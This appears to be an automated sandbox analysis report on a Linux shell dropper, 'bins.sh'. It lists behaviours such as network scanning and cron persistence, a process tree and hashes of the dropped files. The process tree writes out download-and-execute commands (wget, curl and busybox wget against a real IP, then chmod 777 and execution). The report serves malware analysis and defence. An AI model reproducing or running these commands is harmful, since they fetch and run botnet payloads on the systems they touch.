Analysis

  • max time kernel
    74s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/11/2024, 10:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-md8ngasaml
  • SHA256 ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1568) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:720
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:752
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:778
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:780
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:783
              • /usr/bin/wget
                wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:784
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:792
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:809
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:810
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:812
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:813
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:816
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:817
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:818
                • /bin/rm
                  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:820
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:824
                • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Executes dropped EXE
                  PID:826
                • /bin/rm
                  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                    PID:829
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:831
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/chmod
                    chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:853
                  • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:854
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:857
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:858
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:859
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:862
                        • /bin/rm
                          rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                          2⤵
                            PID:868
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                            2⤵
                              PID:886
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              2⤵
                                PID:954
                              • /bin/busybox
                                /bin/busybox wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                • Writes file to tmp directory
                                PID:956
                              • /bin/chmod
                                chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:962
                              • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                • Executes dropped EXE
                                PID:963
                              • /bin/rm
                                rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                  PID:966
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                  2⤵
                                    PID:967
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    2⤵
                                      PID:972
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:973
                                    • /bin/chmod
                                      chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:974
                                    • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                      • Executes dropped EXE
                                      PID:975
                                    • /bin/rm
                                      rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                        PID:977
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                        2⤵
                                          PID:978
                                        • /usr/bin/curl
                                          curl -O http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Reads runtime system information
                                          PID:979
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:980
                                        • /bin/chmod
                                          chmod 777 aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:981
                                        • /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          ./aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Executes dropped EXE
                                          PID:982
                                        • /bin/rm
                                          rm aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                            PID:983
                                          • /usr/bin/wget
                                            wget http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
                                            2⤵
                                              PID:984
                                            • /usr/bin/curl
                                              curl -O http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
                                              2⤵
                                                PID:985

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2

                                                  • Path /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                                                  • Size 127KB
                                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

                                                  • Path /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
                                                  • Size 111KB
                                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a

                                                  • Path /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                                  • Size 99KB
                                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

                                                  • Path /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
                                                  • Size 111KB
                                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

                                                  • Path /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                                                  • Size 112KB
                                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF

                                                  • Path /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                                  • Size 141KB
                                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc

                                                  • Path /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                                  • Size 177KB
                                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og

                                                  • Path /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                                                  • Size 119KB
                                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

                                                  • Path /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
                                                  • Size 122KB
                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f

                                                  • Path /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                                                  • Size 151KB
                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.PYxvyM

                                                  • Path /var/spool/cron/crontabs/tmp.PYxvyM
                                                  • Size 210B
                                                  • SHA256 da625f0eac6028553a11e30526ea0a38687d4cbeb529558b5f9af338a42dc3df
                                                  • MD5 SHA1 SHA512